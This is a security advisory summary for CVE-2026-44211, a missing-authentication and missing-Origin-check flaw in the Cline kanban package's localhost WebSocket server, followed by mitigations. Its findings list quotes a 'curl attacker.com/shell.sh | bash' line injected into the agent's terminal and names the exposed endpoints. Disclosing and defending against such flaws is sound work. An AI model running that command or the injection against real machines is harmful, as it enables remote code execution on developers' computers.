Cline Kanban — Cross-Origin WebSocket Hijack → RCE (CVE-2026-44211)
AI relevance: The kanban package bundled with Cline CLI starts a local WebSocket server with zero authentication or Origin validation, turning every Cline user's browser into a remote code execution target — simply by visiting a malicious webpage.
What happened
- Researcher Sagilayani disclosed CVE-2026-44211 (CVSS 9.3) via GitHub Security Advisory GHSA-5c57-rqjx-35g2.
- The
kanbannpm package (github.com/cline/kanban) binds a WebSocket server to127.0.0.1:3484when the Cline CLI is invoked with--kanban. - Three endpoints are exposed without authentication:
/api/runtime/ws,/api/terminal/io, and/api/terminal/control. - WebSocket connections are not subject to browser CORS — any webpage can silently connect to localhost.
- On connection, the runtime endpoint immediately streams a full workspace snapshot: filesystem paths, git branches, task titles, and live AI agent chat messages.
- The terminal I/O endpoint writes raw bytes directly into the agent's PTY — an attacker can inject
curl https://attacker.com/shell.sh | bashand the agent executes it. - The control endpoint accepts
{"type": "stop"}to kill any active agent session (denial of service). - Confirmed across macOS, Linux, and Windows on Firefox, Chrome, and Arc.
- Root causes: CWE-306 (Missing Authentication) and CWE-1385 (Missing Origin Validation in WebSockets).
Why it matters
This is a textbook supply-chain risk: a convenience package (kanban UI for tracking agent tasks) becomes a persistent localhost backdoor. The attack requires only that the victim run Cline with kanban enabled and browse the web — no clicks, no downloads. Every developer using Cline in this configuration is effectively running an unauthenticated command server on their machine. No patched version exists at time of writing.
What to do
- Disable the kanban server if you don't actively use it: avoid
cline --kanbanuntil a fix ships. - If you need kanban, run it in a network-isolated environment (no untrusted browser tabs open).
- Watch the GitHub advisory for a patched release.
- Security teams: add
127.0.0.1:3484to your local service monitoring and alert if unexpected listeners appear on developer workstations.